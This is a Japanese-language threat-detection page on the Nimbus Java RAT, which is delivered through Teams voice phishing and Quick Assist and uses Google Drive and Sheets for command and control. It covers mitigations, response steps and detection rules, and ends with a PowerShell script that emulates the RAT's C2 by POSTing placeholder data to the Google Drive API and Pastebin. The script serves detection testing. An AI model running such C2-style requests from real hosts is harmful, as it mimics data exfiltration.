Microsoft TeamsとGoogle Driveを介して配信されるNimbus RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターは、Microsoft Teamsの音声フィッシングとQuick Assistを使用して、Nimbus RATとして知られるJavaベースのリモートアクセス型トロイの木馬を展開しました。このマルウェアは、コマンドアンドコントロールチャンネルとしてGoogle DriveとGoogle Sheetsを利用し、独自のOpenJDKランタイムを同梱しています。資格情報を盗むために、偽のWindowsセキュリティプロンプトまたはネイティブのCredUI APIを使用してユーザーシークレットをキャプチャします。
調査
eSentireの脅威対策ユニットは、メールフローログ、エンドポイントのテレメトリ、およびJavaマルウェアの静的分析を使用して、完全な侵入チェーンを再構築しました。このキャンペーンは、メール爆撃、Teamsベースのフィッシング通話、Quick Assistリモートサポート、Pastebinにホストされた指示シート、およびペイロードを配布するための侵害されたSharePointテナントを組み合わせました。
緩和策
推奨される防御策には、未知のテナントからの外部Teamsメッセージの無効化、必要ない場所でのQuick Assistのブロック、メール爆撃活動の急増に対する警告の設定、監視が含まれます javaw.exe 異常な場所からの実行、予期しないプロセスによって開始された疑わしいGoogle Drive API呼び出しの検出。
対応
Nimbus RATの活動が検出された場合、影響を受けたシステムを隔離し、関連するすべての javaw.exe プロセスを終了し、 C:ProgramDataInboxCorePro ディレクトリと関連するスタートアップショートカットを削除し、システム全体の再イメージを検討します。Google Workspaceの監査ログも確認し、不正なGoogle Driveアプリケーション権限の取得を特定します。
攻撃フロー
検出
疑わしい場所からのJavaアプリの実行(via process_creation)
ビュー
自動起動場所の疑わしいバイナリ/スクリプト(via file_event)
ビュー
既知の誤用されたプロセスによって解決された可能性のあるGoogleApisドメイン(via dns_query)
ビュー
可能なGoogleコマンドアンドコントロールユーティリティ活動(via proxy)
ビュー
検出するためのIOCs(HashSha256): Nimbus RAT: 脅威アクターがMicrosoft TeamsとGoogle Driveを悪用してJava RATをデプロイする方法
ビュー
Google APIsとPastebinの疑わしい使用の検出 [Proxy]
ビュー
javaw.exeおよび偵察コマンドによるNimbus RATの実行の検出 [Windows Process Creation]
ビュー
フィッシング攻撃におけるQuick Assistとregedit.exeの実行 [Microsoft Windows Security Event Log]
ビュー
シミュレーション実行
前提条件: テレメトリとベースラインの事前チェックが合格する必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵対的技術(TTP)の正確な実行の詳細を示します。コマンドとナラティブは、特定されたTTPを直接反映する必要があり、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃のナラティブとコマンド:
脅威アクターはすでにNimbus RATバイナリでエンドポイントを侵害しています。隠れたC2チャネルを確立するために、RATは2つのアウトバウンドHTTP POSTリクエストを発行します:- Google Drive API呼び出し – 小さいJSONペイロードをにアップロードします
https://www.googleapis.com/drive/v3/files?uploadType=media, RATの“ペイロードダウンロード”動作を模擬します。 - Pastebinペースト – base-64エンコードされたコマンド文字列をに投稿します
https://pastebin.com/api/api_post.php、公共のAPIキーを使用して。
両方のリクエストは、PowerShellの
Invoke-WebRequestを通じて実行され、ファイアウォールログにドメインフィールド(googleapis.comandpastebin.com)が含まれるようにします。攻撃者は、通常の活動に溶け込むために、侵害されたユーザーのコンテキストで命令を実行します。 - Google Drive API呼び出し – 小さいJSONペイロードをにアップロードします
-
リグレッションテストスクリプト:
# -------------------------------------------------------------- # Nimbus RAT C2シミュレーション–ドメイン一致でSigmaルールをトリガー # -------------------------------------------------------------- # 1. Google Drive APIモックアップロード(認証なし–ドメインテレメトリにフォーカス) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Google Drive APIへのモックアップロードを送信しました" } catch { Write-Warning "Google Driveリクエストが失敗しました(サンドボックスで予期される):$_" } # 2. Pastebin公開API投稿(開発者キーが必要–プレースホルダーを使用) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- 有効なキーで置換して実際のテストを行います $pastebinText = "echo 'C2からのシミュレートされたコマンド'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Pastebinにモックコマンドを投稿しました" } catch { Write-Warning "Pastebinリクエストが失敗しました(サンドボックスで予期される):$_" } # -------------------------------------------------------------- # シミュレーションの終了 # -------------------------------------------------------------- -
クリーンアップコマンド:
# シミュレーション中に使用された一時ファイルや変数を削除します Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] クリーンアップ完了。"